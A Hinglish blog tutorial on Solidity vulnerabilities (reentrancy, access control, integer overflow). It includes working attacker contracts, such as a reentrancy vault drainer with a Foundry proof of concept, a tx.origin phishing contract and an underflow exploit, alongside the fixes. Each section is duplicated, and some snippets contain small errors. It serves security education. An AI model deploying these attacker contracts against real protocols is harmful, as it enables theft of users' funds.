June 24, 2026
Classic Vulnerabilities Part 1: Reentrancy, Access Control & Integer Bugs
Series: Web3 Security Zero se Advance π‘οΈ | Article #19 By HackerMD | 32 min read

By Hacker MD
15 min read
Aaj Kya Seekhenge?
- Reentrancy 5 types, sab PoC ke saath
- Access Control 8 common patterns
- Integer Overflow/Underflow real examples
- Unchecked arithmetic subtle bugs
- Har vulnerability ka Foundry PoC
- Real world hack references
- Fixes + Prevention patterns
Hacker Note: Yeh "classic" vulnerabilities hain lekin aaj bhi production code mein milte hain! 2024 mein bhi $50M+ reentrancy se gayi! "Classic" = "Still being found"! Inhe master karo!
PART 1: Reentrancy Sabse Famous Vulnerability!
History:
The DAO Hack β 2016
$60 million stolen
Ethereum hard fork ka reason!
Concept:
Contract A β Call β Contract B
Contract B β Re-enter β Contract A
(before A finishes!)
A ki state incomplete! = Bug!
Real analogy:
ATM se paise nikal rahe ho
ATM balance check karta hai (100βΉ)
Amount deta hai
LEKIN balance 0 nahi kiya abhi!
Tum phir se nikal sakte ho!
ATM ka balance update alag waqt!
= Reentrancy!History:
The DAO Hack β 2016
$60 million stolen
Ethereum hard fork ka reason!
Concept:
Contract A β Call β Contract B
Contract B β Re-enter β Contract A
(before A finishes!)
A ki state incomplete! = Bug!
Real analogy:
ATM se paise nikal rahe ho
ATM balance check karta hai (100βΉ)
Amount deta hai
LEKIN balance 0 nahi kiya abhi!
Tum phir se nikal sakte ho!
ATM ka balance update alag waqt!
= Reentrancy!Type 1: ETH Reentrancy (Classic)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// βββ VULNERABLE CONTRACT ββββββββββββββββββ
contract VulnerableETHVault {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
// β οΈ CLASSIC REENTRANCY!
function withdraw() external {
uint256 amount = balances[msg.sender];
require(amount > 0, "Nothing to withdraw");
// Step 1: External call (DANGEROUS!)
(bool ok,) = msg.sender.call{
value: amount
}("");
require(ok, "Transfer failed");
// Step 2: State update (TOO LATE!)
balances[msg.sender] = 0;
// π¨ Attacker re-enters BEFORE this line!
// balances[attacker] still = original amount!
// Withdraw again and again!
}
}
// βββ ATTACKER CONTRACT ββββββββββββββββββββ
contract ReentrancyAttacker {
VulnerableETHVault target;
uint256 attackAmount;
constructor(address _target) {
target = VulnerableETHVault(_target);
}
function attack() external payable {
attackAmount = msg.value;
// Initial deposit:
target.deposit{value: attackAmount}();
// Start attack:
target.withdraw();
}
// Called EVERY TIME vault sends ETH!
receive() external payable {
// Re-enter if vault still has funds:
if (address(target).balance >= attackAmount) {
target.withdraw();
// β balances[attacker] still = attackAmount!
// Vault sends again!
}
}
function getBalance()
external view returns (uint256)
{
return address(this).balance;
}
}
// βββ FOUNDRY POC ββββββββββββββββββββββββββ
contract ReentrancyTest is Test {
VulnerableETHVault vault;
ReentrancyAttacker attacker;
address alice = makeAddr("alice");
address hacker = makeAddr("hacker");
function setUp() public {
vault = new VulnerableETHVault();
attacker = new ReentrancyAttacker(
address(vault)
);
// Alice deposits legitimate funds:
vm.deal(alice, 10 ether);
vm.prank(alice);
vault.deposit{value: 10 ether}();
// Hacker has 1 ETH:
vm.deal(hacker, 1 ether);
}
function test_reentrancyAttack() public {
uint256 vaultBefore =
address(vault).balance;
console.log("Vault before:", vaultBefore / 1e18);
console.log("Attacker before:",
address(attacker).balance / 1e18);
// Execute attack:
vm.prank(hacker);
attacker.attack{value: 1 ether}();
uint256 vaultAfter =
address(vault).balance;
console.log("Vault after:", vaultAfter / 1e18);
console.log("Attacker after:",
address(attacker).balance / 1e18);
// Attacker drained vault!
assertEq(vaultAfter, 0);
assertGt(
address(attacker).balance,
1 ether
);
}
}// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// βββ VULNERABLE CONTRACT ββββββββββββββββββ
contract VulnerableETHVault {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
// β οΈ CLASSIC REENTRANCY!
function withdraw() external {
uint256 amount = balances[msg.sender];
require(amount > 0, "Nothing to withdraw");
// Step 1: External call (DANGEROUS!)
(bool ok,) = msg.sender.call{
value: amount
}("");
require(ok, "Transfer failed");
// Step 2: State update (TOO LATE!)
balances[msg.sender] = 0;
// π¨ Attacker re-enters BEFORE this line!
// balances[attacker] still = original amount!
// Withdraw again and again!
}
}
// βββ ATTACKER CONTRACT ββββββββββββββββββββ
contract ReentrancyAttacker {
VulnerableETHVault target;
uint256 attackAmount;
constructor(address _target) {
target = VulnerableETHVault(_target);
}
function attack() external payable {
attackAmount = msg.value;
// Initial deposit:
target.deposit{value: attackAmount}();
// Start attack:
target.withdraw();
}
// Called EVERY TIME vault sends ETH!
receive() external payable {
// Re-enter if vault still has funds:
if (address(target).balance >= attackAmount) {
target.withdraw();
// β balances[attacker] still = attackAmount!
// Vault sends again!
}
}
function getBalance()
external view returns (uint256)
{
return address(this).balance;
}
}
// βββ FOUNDRY POC ββββββββββββββββββββββββββ
contract ReentrancyTest is Test {
VulnerableETHVault vault;
ReentrancyAttacker attacker;
address alice = makeAddr("alice");
address hacker = makeAddr("hacker");
function setUp() public {
vault = new VulnerableETHVault();
attacker = new ReentrancyAttacker(
address(vault)
);
// Alice deposits legitimate funds:
vm.deal(alice, 10 ether);
vm.prank(alice);
vault.deposit{value: 10 ether}();
// Hacker has 1 ETH:
vm.deal(hacker, 1 ether);
}
function test_reentrancyAttack() public {
uint256 vaultBefore =
address(vault).balance;
console.log("Vault before:", vaultBefore / 1e18);
console.log("Attacker before:",
address(attacker).balance / 1e18);
// Execute attack:
vm.prank(hacker);
attacker.attack{value: 1 ether}();
uint256 vaultAfter =
address(vault).balance;
console.log("Vault after:", vaultAfter / 1e18);
console.log("Attacker after:",
address(attacker).balance / 1e18);
// Attacker drained vault!
assertEq(vaultAfter, 0);
assertGt(
address(attacker).balance,
1 ether
);
}
}Type 2: Cross-Function Reentrancy
// Sirf ek function nahi β
// Different functions ke beech reentrancy!
contract CrossFunctionVault {
mapping(address => uint256) public balances;
mapping(address => bool) public locked;
// Function A: withdraw
function withdraw(uint256 amount) external {
require(
balances[msg.sender] >= amount
);
// External call:
(bool ok,) = msg.sender.call{
value: amount
}("");
require(ok);
balances[msg.sender] -= amount;
// β οΈ State not updated yet!
}
// Function B: transfer
// β οΈ Can be called during withdraw!
function transfer(
address to,
uint256 amount
) external {
require(
balances[msg.sender] >= amount
);
// balances[msg.sender] STILL HAS
// original value (withdraw not done!)
balances[msg.sender] -= amount;
balances[to] += amount;
}
}
// Attack:
// 1. Attacker deposits 10 ETH
// 2. Calls withdraw(10 ETH)
// 3. During receive():
// Calls transfer(accomplice, 10 ETH)
// balances[attacker] still = 10 ETH!
// Transfer succeeds!
// 4. withdraw() finishes:
// balances[attacker] = 0 (too late!)
// 5. But accomplice has 10 ETH in balance!
// AND attacker received 10 ETH!
// Net: 20 ETH stolen from 10 ETH deposit!
// β
Fix: nonReentrant on BOTH functions!
// OR: Update state before ANY external call!// Sirf ek function nahi β
// Different functions ke beech reentrancy!
contract CrossFunctionVault {
mapping(address => uint256) public balances;
mapping(address => bool) public locked;
// Function A: withdraw
function withdraw(uint256 amount) external {
require(
balances[msg.sender] >= amount
);
// External call:
(bool ok,) = msg.sender.call{
value: amount
}("");
require(ok);
balances[msg.sender] -= amount;
// β οΈ State not updated yet!
}
// Function B: transfer
// β οΈ Can be called during withdraw!
function transfer(
address to,
uint256 amount
) external {
require(
balances[msg.sender] >= amount
);
// balances[msg.sender] STILL HAS
// original value (withdraw not done!)
balances[msg.sender] -= amount;
balances[to] += amount;
}
}
// Attack:
// 1. Attacker deposits 10 ETH
// 2. Calls withdraw(10 ETH)
// 3. During receive():
// Calls transfer(accomplice, 10 ETH)
// balances[attacker] still = 10 ETH!
// Transfer succeeds!
// 4. withdraw() finishes:
// balances[attacker] = 0 (too late!)
// 5. But accomplice has 10 ETH in balance!
// AND attacker received 10 ETH!
// Net: 20 ETH stolen from 10 ETH deposit!
// β
Fix: nonReentrant on BOTH functions!
// OR: Update state before ANY external call!Type 3: Read-Only Reentrancy
// Most subtle! View functions reenter!
// No state change in reentered call
// BUT read stale state!
// Uniswap V3 style example:
contract Pool {
uint256 public reserve0;
uint256 public reserve1;
bool private _locked;
modifier lock() {
require(!_locked, "Locked");
_locked = true;
_;
_locked = false;
}
// β οΈ lock() only on state-changing functions!
// View functions NOT locked!
function getReserves()
external view
returns (uint256, uint256)
{
return (reserve0, reserve1);
}
function removeLiquidity(
uint256 amount
) external lock {
// Send ETH first:
(bool ok,) = msg.sender.call{
value: amount
}("");
require(ok);
// Update AFTER:
reserve0 -= amount;
// β Not updated during callback!
}
}
// External Protocol using this pool:
contract VulnerableProtocol {
Pool pool;
function getPrice()
external view returns (uint256)
{
// Reads pool state:
(uint256 r0, uint256 r1) =
pool.getReserves();
return r1 * 1e18 / r0;
// β Returns STALE price during reentrancy!
}
function borrow(uint256 amount) external {
uint256 price = this.getPrice();
// Price is stale = Inflated!
// Attacker borrows at wrong price!
}
}
// Attack via Curve/Balancer style:
// 1. Attacker calls removeLiquidity
// 2. During ETH receive callback:
// Calls external protocol's borrow()
// getPrice() reads stale reserves!
// (reserve0 not decremented yet!)
// Inflated price = Borrow more!
// 3. removeLiquidity finishes
// Real example: Curve reentrancy β Multiple protocols!// Most subtle! View functions reenter!
// No state change in reentered call
// BUT read stale state!
// Uniswap V3 style example:
contract Pool {
uint256 public reserve0;
uint256 public reserve1;
bool private _locked;
modifier lock() {
require(!_locked, "Locked");
_locked = true;
_;
_locked = false;
}
// β οΈ lock() only on state-changing functions!
// View functions NOT locked!
function getReserves()
external view
returns (uint256, uint256)
{
return (reserve0, reserve1);
}
function removeLiquidity(
uint256 amount
) external lock {
// Send ETH first:
(bool ok,) = msg.sender.call{
value: amount
}("");
require(ok);
// Update AFTER:
reserve0 -= amount;
// β Not updated during callback!
}
}
// External Protocol using this pool:
contract VulnerableProtocol {
Pool pool;
function getPrice()
external view returns (uint256)
{
// Reads pool state:
(uint256 r0, uint256 r1) =
pool.getReserves();
return r1 * 1e18 / r0;
// β Returns STALE price during reentrancy!
}
function borrow(uint256 amount) external {
uint256 price = this.getPrice();
// Price is stale = Inflated!
// Attacker borrows at wrong price!
}
}
// Attack via Curve/Balancer style:
// 1. Attacker calls removeLiquidity
// 2. During ETH receive callback:
// Calls external protocol's borrow()
// getPrice() reads stale reserves!
// (reserve0 not decremented yet!)
// Inflated price = Borrow more!
// 3. removeLiquidity finishes
// Real example: Curve reentrancy β Multiple protocols!Type 4: ERC-777 Reentrancy
// ERC-777 tokens have hooks!
// tokensReceived() called on transfer!
// = Reentrancy vector!
interface IERC777Recipient {
function tokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external;
}
contract VulnerableERC777Vault {
mapping(address => uint256) public balances;
IERC777 token;
function deposit(uint256 amount) external {
token.transferFrom(
msg.sender,
address(this),
amount
);
// β tokensReceived() hook fires!
// But state update is AFTER transfer!
balances[msg.sender] += amount;
// β οΈ Can be reentered before this!
}
function withdraw(uint256 amount) external {
require(balances[msg.sender] >= amount);
balances[msg.sender] -= amount;
// ERC-777 send triggers hook!
token.send(msg.sender, amount, "");
// β tokensReceived() on recipient!
// If recipient is contract with hook
// Can reenter withdraw()!
// Lekin: state already updated (CEI β
)
// So this specific pattern is safe!
}
}
// Imbtoch Real Example: Uniswap + ERC-777
// 1. Attacker has ERC-777 token
// 2. Provide liquidity
// 3. Remove liquidity triggers token.send()
// 4. tokensReceived() fires
// 5. Re-enter addLiquidity()
// 6. State inconsistent!// ERC-777 tokens have hooks!
// tokensReceived() called on transfer!
// = Reentrancy vector!
interface IERC777Recipient {
function tokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external;
}
contract VulnerableERC777Vault {
mapping(address => uint256) public balances;
IERC777 token;
function deposit(uint256 amount) external {
token.transferFrom(
msg.sender,
address(this),
amount
);
// β tokensReceived() hook fires!
// But state update is AFTER transfer!
balances[msg.sender] += amount;
// β οΈ Can be reentered before this!
}
function withdraw(uint256 amount) external {
require(balances[msg.sender] >= amount);
balances[msg.sender] -= amount;
// ERC-777 send triggers hook!
token.send(msg.sender, amount, "");
// β tokensReceived() on recipient!
// If recipient is contract with hook
// Can reenter withdraw()!
// Lekin: state already updated (CEI β
)
// So this specific pattern is safe!
}
}
// Imbtoch Real Example: Uniswap + ERC-777
// 1. Attacker has ERC-777 token
// 2. Provide liquidity
// 3. Remove liquidity triggers token.send()
// 4. tokensReceived() fires
// 5. Re-enter addLiquidity()
// 6. State inconsistent!Type 5: Cross-Contract Reentrancy
// Multiple contracts share state!
// Reenter different contract!
contract VaultA {
mapping(address => uint256) public shares;
VaultB public vaultB;
function withdraw() external {
uint256 amount = shares[msg.sender];
require(amount > 0);
// External call to B:
vaultB.notifyWithdraw(msg.sender, amount);
// β οΈ B might reenter A before state update!
shares[msg.sender] = 0;
}
}
contract VaultB {
VaultA public vaultA;
function notifyWithdraw(
address user,
uint256 amount
) external {
require(msg.sender == address(vaultA));
// β οΈ Call back to A!
vaultA.withdraw(); // Re-enters!
// A's state not updated!
}
}
// Fix: Global reentrancy guard across contracts!
// OR: Shared storage for lock status!// Multiple contracts share state!
// Reenter different contract!
contract VaultA {
mapping(address => uint256) public shares;
VaultB public vaultB;
function withdraw() external {
uint256 amount = shares[msg.sender];
require(amount > 0);
// External call to B:
vaultB.notifyWithdraw(msg.sender, amount);
// β οΈ B might reenter A before state update!
shares[msg.sender] = 0;
}
}
contract VaultB {
VaultA public vaultA;
function notifyWithdraw(
address user,
uint256 amount
) external {
require(msg.sender == address(vaultA));
// β οΈ Call back to A!
vaultA.withdraw(); // Re-enters!
// A's state not updated!
}
}
// Fix: Global reentrancy guard across contracts!
// OR: Shared storage for lock status!Reentrancy Fixes:
// β
Fix 1: CEI Pattern (Checks-Effects-Interactions)
function withdraw() external {
uint256 amount = balances[msg.sender];
require(amount > 0);
// EFFECTS FIRST:
balances[msg.sender] = 0; // β Update state!
// INTERACTIONS LAST:
(bool ok,) = msg.sender.call{value: amount}("");
require(ok);
// Now even if reentered: balance = 0!
}
// β
Fix 2: ReentrancyGuard
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract SafeVault is ReentrancyGuard {
function withdraw()
external nonReentrant
{
// nonReentrant = mutex lock!
// Re-entry β "ReentrancyGuard: reentrant call"
}
}
// β
Fix 3: Pull over Push
// Don't send ETH in withdraw!
// Record pending amount, user pulls!
mapping(address => uint256) pendingWithdrawals;
function initiateWithdraw() external {
pendingWithdrawals[msg.sender] =
balances[msg.sender];
balances[msg.sender] = 0;
}
function claimWithdrawal() external {
uint256 amount = pendingWithdrawals[msg.sender];
require(amount > 0);
pendingWithdrawals[msg.sender] = 0;
payable(msg.sender).transfer(amount);
}// β
Fix 1: CEI Pattern (Checks-Effects-Interactions)
function withdraw() external {
uint256 amount = balances[msg.sender];
require(amount > 0);
// EFFECTS FIRST:
balances[msg.sender] = 0; // β Update state!
// INTERACTIONS LAST:
(bool ok,) = msg.sender.call{value: amount}("");
require(ok);
// Now even if reentered: balance = 0!
}
// β
Fix 2: ReentrancyGuard
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract SafeVault is ReentrancyGuard {
function withdraw()
external nonReentrant
{
// nonReentrant = mutex lock!
// Re-entry β "ReentrancyGuard: reentrant call"
}
}
// β
Fix 3: Pull over Push
// Don't send ETH in withdraw!
// Record pending amount, user pulls!
mapping(address => uint256) pendingWithdrawals;
function initiateWithdraw() external {
pendingWithdrawals[msg.sender] =
balances[msg.sender];
balances[msg.sender] = 0;
}
function claimWithdrawal() external {
uint256 amount = pendingWithdrawals[msg.sender];
require(amount > 0);
pendingWithdrawals[msg.sender] = 0;
payable(msg.sender).transfer(amount);
}PART 2: Access Control 8 Common Bugs!
Access Control kya hai?
"Sirf authorized users specific actions kar saken"
Broken Access Control =
#1 Web3 vulnerability category!Access Control kya hai?
"Sirf authorized users specific actions kar saken"
Broken Access Control =
#1 Web3 vulnerability category!Bug 1: Missing Access Control
contract MissingAC {
address public owner;
uint256 public fee;
constructor() {
owner = msg.sender;
}
// β οΈ NO ACCESS CONTROL AT ALL!
function setFee(uint256 newFee) external {
fee = newFee;
// π¨ Anyone can call!
// Attacker: setFee(0) β Free transactions!
// OR: setFee(9999) β DoS!
}
// β οΈ Critical function β no guard!
function drainFunds(
address to
) external {
payable(to).transfer(
address(this).balance
);
// π¨ Anyone can drain!
}
// β
Fix:
function setFeeSafe(
uint256 newFee
) external {
require(
msg.sender == owner,
"Not owner!"
);
fee = newFee;
}
}contract MissingAC {
address public owner;
uint256 public fee;
constructor() {
owner = msg.sender;
}
// β οΈ NO ACCESS CONTROL AT ALL!
function setFee(uint256 newFee) external {
fee = newFee;
// π¨ Anyone can call!
// Attacker: setFee(0) β Free transactions!
// OR: setFee(9999) β DoS!
}
// β οΈ Critical function β no guard!
function drainFunds(
address to
) external {
payable(to).transfer(
address(this).balance
);
// π¨ Anyone can drain!
}
// β
Fix:
function setFeeSafe(
uint256 newFee
) external {
require(
msg.sender == owner,
"Not owner!"
);
fee = newFee;
}
}Bug 2: tx.origin Authentication
contract TxOriginBug {
address public owner;
constructor() {
owner = msg.sender;
}
// β οΈ tx.origin = DANGEROUS!
modifier onlyOwner() {
require(
tx.origin == owner,
"Not owner"
);
_;
}
function transfer(
address to,
uint256 amount
) external onlyOwner {
payable(to).transfer(amount);
}
}
// Attack (Phishing):
contract PhishingContract {
TxOriginBug target;
// Owner visits malicious site!
// Calls "innocent" looking function:
function innocentLookingFunction()
external
{
// tx.origin = Owner (who called this!)
// msg.sender = PhishingContract
// target checks tx.origin == owner β TRUE!
target.transfer(
address(this),
address(target).balance
);
// Owner's funds stolen! π¨
}
}
// β
Fix: ALWAYS use msg.sender!
modifier onlyOwnerSafe() {
require(
msg.sender == owner,
"Not owner"
);
_;
}contract TxOriginBug {
address public owner;
constructor() {
owner = msg.sender;
}
// β οΈ tx.origin = DANGEROUS!
modifier onlyOwner() {
require(
tx.origin == owner,
"Not owner"
);
_;
}
function transfer(
address to,
uint256 amount
) external onlyOwner {
payable(to).transfer(amount);
}
}
// Attack (Phishing):
contract PhishingContract {
TxOriginBug target;
// Owner visits malicious site!
// Calls "innocent" looking function:
function innocentLookingFunction()
external
{
// tx.origin = Owner (who called this!)
// msg.sender = PhishingContract
// target checks tx.origin == owner β TRUE!
target.transfer(
address(this),
address(target).balance
);
// Owner's funds stolen! π¨
}
}
// β
Fix: ALWAYS use msg.sender!
modifier onlyOwnerSafe() {
require(
msg.sender == owner,
"Not owner"
);
_;
}Bug 3: Unprotected Initializer
// Proxy pattern mein common!
contract UninitializedProxy {
address public owner;
bool public initialized;
// β οΈ No protection β call multiple times!
function initialize(
address _owner
) external {
owner = _owner;
// π¨ Anyone can reinitialize!
// Override existing owner!
}
// β
Fix 1: initializer modifier
modifier initializer() {
require(
!initialized,
"Already initialized!"
);
initialized = true;
_;
}
function initializeSafe(
address _owner
) external initializer {
owner = _owner;
}
// β
Fix 2: OpenZeppelin Initializable
// import "@openzeppelin/.../Initializable.sol"
// function initialize() external initializer {}
}// Proxy pattern mein common!
contract UninitializedProxy {
address public owner;
bool public initialized;
// β οΈ No protection β call multiple times!
function initialize(
address _owner
) external {
owner = _owner;
// π¨ Anyone can reinitialize!
// Override existing owner!
}
// β
Fix 1: initializer modifier
modifier initializer() {
require(
!initialized,
"Already initialized!"
);
initialized = true;
_;
}
function initializeSafe(
address _owner
) external initializer {
owner = _owner;
}
// β
Fix 2: OpenZeppelin Initializable
// import "@openzeppelin/.../Initializable.sol"
// function initialize() external initializer {}
}Bug 4: Incorrect Modifier Logic
contract ModifierBug {
address public owner;
bool public paused;
// β οΈ Bug: Missing underscore placement!
modifier onlyOwnerBug() {
if (msg.sender == owner) {
_;
// Underscore inside if!
// If NOT owner β silently continues!
// No revert!
}
// β Non-owner = Function runs AND returns!
// Function body SKIPPED for non-owner
// BUT: No error either!
// Confusing behavior!
}
// β οΈ Another bug: Wrong condition
modifier notPausedBug() {
require(paused, "Not paused!");
// β Should be: require(!paused)
// This allows calls ONLY when paused!
// Normal operation blocked!
_;
}
// β
Correct modifier:
modifier onlyOwner() {
require(
msg.sender == owner,
"Not owner"
);
_;
// β Underscore OUTSIDE condition!
}
modifier whenNotPaused() {
require(!paused, "Paused!");
_;
}
}contract ModifierBug {
address public owner;
bool public paused;
// β οΈ Bug: Missing underscore placement!
modifier onlyOwnerBug() {
if (msg.sender == owner) {
_;
// Underscore inside if!
// If NOT owner β silently continues!
// No revert!
}
// β Non-owner = Function runs AND returns!
// Function body SKIPPED for non-owner
// BUT: No error either!
// Confusing behavior!
}
// β οΈ Another bug: Wrong condition
modifier notPausedBug() {
require(paused, "Not paused!");
// β Should be: require(!paused)
// This allows calls ONLY when paused!
// Normal operation blocked!
_;
}
// β
Correct modifier:
modifier onlyOwner() {
require(
msg.sender == owner,
"Not owner"
);
_;
// β Underscore OUTSIDE condition!
}
modifier whenNotPaused() {
require(!paused, "Paused!");
_;
}
}Bug 5: Role Escalation
contract RoleEscalation {
mapping(address => bytes32) public roles;
bytes32 constant ADMIN = keccak256("ADMIN");
bytes32 constant MINTER = keccak256("MINTER");
bytes32 constant USER = keccak256("USER");
// β οΈ User can grant themselves admin!
function grantRole(
address account,
bytes32 role
) external {
// Missing: Check caller's role!
roles[account] = role;
// π¨ Anyone can become admin!
}
// β
Fix: Caller must have higher role!
function grantRoleSafe(
address account,
bytes32 role
) external {
require(
roles[msg.sender] == ADMIN,
"Not admin!"
);
// Admin can only grant <= their level:
require(
role != ADMIN ||
msg.sender == superAdmin,
"Cannot grant admin!"
);
roles[account] = role;
}
}contract RoleEscalation {
mapping(address => bytes32) public roles;
bytes32 constant ADMIN = keccak256("ADMIN");
bytes32 constant MINTER = keccak256("MINTER");
bytes32 constant USER = keccak256("USER");
// β οΈ User can grant themselves admin!
function grantRole(
address account,
bytes32 role
) external {
// Missing: Check caller's role!
roles[account] = role;
// π¨ Anyone can become admin!
}
// β
Fix: Caller must have higher role!
function grantRoleSafe(
address account,
bytes32 role
) external {
require(
roles[msg.sender] == ADMIN,
"Not admin!"
);
// Admin can only grant <= their level:
require(
role != ADMIN ||
msg.sender == superAdmin,
"Cannot grant admin!"
);
roles[account] = role;
}
}Bug 6: Signature Replay
contract SignatureReplay {
address public signer;
// β οΈ No nonce = Replay attack!
function execute(
address target,
uint256 value,
bytes calldata data,
bytes calldata signature
) external {
bytes32 hash = keccak256(abi.encodePacked(
target, value, data
// β οΈ No nonce, no chainId!
));
address recovered = recoverSigner(
hash, signature
);
require(
recovered == signer,
"Invalid sig"
);
(bool ok,) = target.call{value: value}(data);
require(ok);
// π¨ Same signature = Use multiple times!
}
// β
Fix: Nonce + ChainId!
mapping(address => uint256) public nonces;
function executeSafe(
address target,
uint256 value,
bytes calldata data,
uint256 nonce,
bytes calldata signature
) external {
require(
nonces[msg.sender]++ == nonce,
"Invalid nonce"
);
bytes32 hash = keccak256(abi.encodePacked(
target,
value,
data,
nonce,
block.chainid, // Chain specific!
address(this) // Contract specific!
));
address recovered = recoverSigner(
hash, signature
);
require(recovered == signer);
(bool ok,) = target.call{value: value}(data);
require(ok);
}
}contract SignatureReplay {
address public signer;
// β οΈ No nonce = Replay attack!
function execute(
address target,
uint256 value,
bytes calldata data,
bytes calldata signature
) external {
bytes32 hash = keccak256(abi.encodePacked(
target, value, data
// β οΈ No nonce, no chainId!
));
address recovered = recoverSigner(
hash, signature
);
require(
recovered == signer,
"Invalid sig"
);
(bool ok,) = target.call{value: value}(data);
require(ok);
// π¨ Same signature = Use multiple times!
}
// β
Fix: Nonce + ChainId!
mapping(address => uint256) public nonces;
function executeSafe(
address target,
uint256 value,
bytes calldata data,
uint256 nonce,
bytes calldata signature
) external {
require(
nonces[msg.sender]++ == nonce,
"Invalid nonce"
);
bytes32 hash = keccak256(abi.encodePacked(
target,
value,
data,
nonce,
block.chainid, // Chain specific!
address(this) // Contract specific!
));
address recovered = recoverSigner(
hash, signature
);
require(recovered == signer);
(bool ok,) = target.call{value: value}(data);
require(ok);
}
}Bug 7: Overprivileged Roles
// Centralization risk = Access control bug!
contract Overprivileged {
address public owner;
mapping(address => uint256) public balances;
// β οΈ Owner has TOO MUCH power!
// Single point of failure!
function drainUser(
address user
) external {
require(msg.sender == owner);
// Owner can drain ANY user's funds!
// Key compromise = Total loss! π¨
uint256 bal = balances[user];
balances[user] = 0;
payable(owner).transfer(bal);
}
function upgradeToMalicious(
address newImpl
) external {
require(msg.sender == owner);
// Immediate upgrade! No timelock!
_upgradeTo(newImpl);
// π¨ Rug pull vector!
}
// β
Fixes:
// β Multisig (3/5 or 5/9)
// β Timelock for upgrades
// β Cannot drain user funds (invariant!)
// β Role separation (upgrade != admin)
}// Centralization risk = Access control bug!
contract Overprivileged {
address public owner;
mapping(address => uint256) public balances;
// β οΈ Owner has TOO MUCH power!
// Single point of failure!
function drainUser(
address user
) external {
require(msg.sender == owner);
// Owner can drain ANY user's funds!
// Key compromise = Total loss! π¨
uint256 bal = balances[user];
balances[user] = 0;
payable(owner).transfer(bal);
}
function upgradeToMalicious(
address newImpl
) external {
require(msg.sender == owner);
// Immediate upgrade! No timelock!
_upgradeTo(newImpl);
// π¨ Rug pull vector!
}
// β
Fixes:
// β Multisig (3/5 or 5/9)
// β Timelock for upgrades
// β Cannot drain user funds (invariant!)
// β Role separation (upgrade != admin)
}Bug 8: Default Visibility
// Solidity default = public (old) or internal (new)
// Old code mein public functions unintentionally!
// Solidity < 0.5.0:
contract OldStyleBug {
// β οΈ No visibility = PUBLIC in old Solidity!
function _internalHelper() {
// Developer thought: private/internal
// Reality: public!
// π¨ Anyone can call!
}
}
// Modern Solidity (0.8+):
// Still possible with explicit public:
contract ExplicitBug {
address owner;
// β οΈ Should be internal but marked public!
function _validateUser(
address user
) public view returns (bool) {
return user == owner;
// π¨ Anyone can call and get info
// Also: Can be called in context
// that's unexpected
}
// β
Correct:
function _validateUserSafe(
address user
) internal view returns (bool) {
return user == owner;
}
}// Solidity default = public (old) or internal (new)
// Old code mein public functions unintentionally!
// Solidity < 0.5.0:
contract OldStyleBug {
// β οΈ No visibility = PUBLIC in old Solidity!
function _internalHelper() {
// Developer thought: private/internal
// Reality: public!
// π¨ Anyone can call!
}
}
// Modern Solidity (0.8+):
// Still possible with explicit public:
contract ExplicitBug {
address owner;
// β οΈ Should be internal but marked public!
function _validateUser(
address user
) public view returns (bool) {
return user == owner;
// π¨ Anyone can call and get info
// Also: Can be called in context
// that's unexpected
}
// β
Correct:
function _validateUserSafe(
address user
) internal view returns (bool) {
return user == owner;
}
}PART 3: Integer Overflow/Underflow!
Overflow:
uint8 max = 255
255 + 1 = 0 (wraps around!)
Underflow:
uint256 min = 0
0 - 1 = 2^256 - 1 (wraps around!)
Solidity 0.8+ protection:
β Auto revert on overflow/underflow!
β LEKIN: unchecked{} blocks bypass!
β Type casting bypass!
β Logic bugs still possible!Overflow:
uint8 max = 255
255 + 1 = 0 (wraps around!)
Underflow:
uint256 min = 0
0 - 1 = 2^256 - 1 (wraps around!)
Solidity 0.8+ protection:
β Auto revert on overflow/underflow!
β LEKIN: unchecked{} blocks bypass!
β Type casting bypass!
β Logic bugs still possible!Classic Overflow Patterns:
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
// β 0.7! No auto-protection!
contract OverflowVulnerable {
mapping(address => uint256) public balances;
uint256 public totalSupply;
// β οΈ No SafeMath (pre-0.8)!
function mint(
address to,
uint256 amount
) external {
totalSupply += amount;
// β Overflow! totalSupply wraps to 0!
balances[to] += amount;
}
// β οΈ Underflow attack!
function burn(
address from,
uint256 amount
) external {
balances[from] -= amount;
// β If amount > balances[from]:
// Underflow! balances[from] = HUGE NUMBER!
totalSupply -= amount;
}
}
// βββ ATTACK βββββββββββββββββββββββββββββββ
contract OverflowAttacker {
OverflowVulnerable target;
function attack() external {
// Attack 1: Underflow
// balances[attacker] = 0
// burn(attacker, 1)
// 0 - 1 = 2^256 - 1! HUGE BALANCE!
target.burn(address(this), 1);
// Now attacker has max uint256 tokens!
// Sell everything!
}
}// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
// β 0.7! No auto-protection!
contract OverflowVulnerable {
mapping(address => uint256) public balances;
uint256 public totalSupply;
// β οΈ No SafeMath (pre-0.8)!
function mint(
address to,
uint256 amount
) external {
totalSupply += amount;
// β Overflow! totalSupply wraps to 0!
balances[to] += amount;
}
// β οΈ Underflow attack!
function burn(
address from,
uint256 amount
) external {
balances[from] -= amount;
// β If amount > balances[from]:
// Underflow! balances[from] = HUGE NUMBER!
totalSupply -= amount;
}
}
// βββ ATTACK βββββββββββββββββββββββββββββββ
contract OverflowAttacker {
OverflowVulnerable target;
function attack() external {
// Attack 1: Underflow
// balances[attacker] = 0
// burn(attacker, 1)
// 0 - 1 = 2^256 - 1! HUGE BALANCE!
target.burn(address(this), 1);
// Now attacker has max uint256 tokens!
// Sell everything!
}
}Unchecked Blocks Modern Danger:
// Solidity 0.8+ mein bhi!
// unchecked{} = No overflow protection!
pragma solidity ^0.8.19;
contract UncheckedBug {
mapping(address => uint256) public balances;
// Gas optimization ke liye unchecked use:
function batchProcess(
uint256[] calldata amounts
) external {
uint256 total = 0;
unchecked {
// β οΈ Gas save ke liye!
// Lekin overflow possible!
for (uint256 i = 0;
i < amounts.length;
i++)
{
total += amounts[i];
// β Overflow if amounts large!
// total wraps around!
}
}
require(total <= 1000, "Too much");
// π¨ total = 0 (overflow) β Passes!
// But actual sum was 5000!
// Attacker: Send amounts that overflow
// to bypass the 1000 limit!
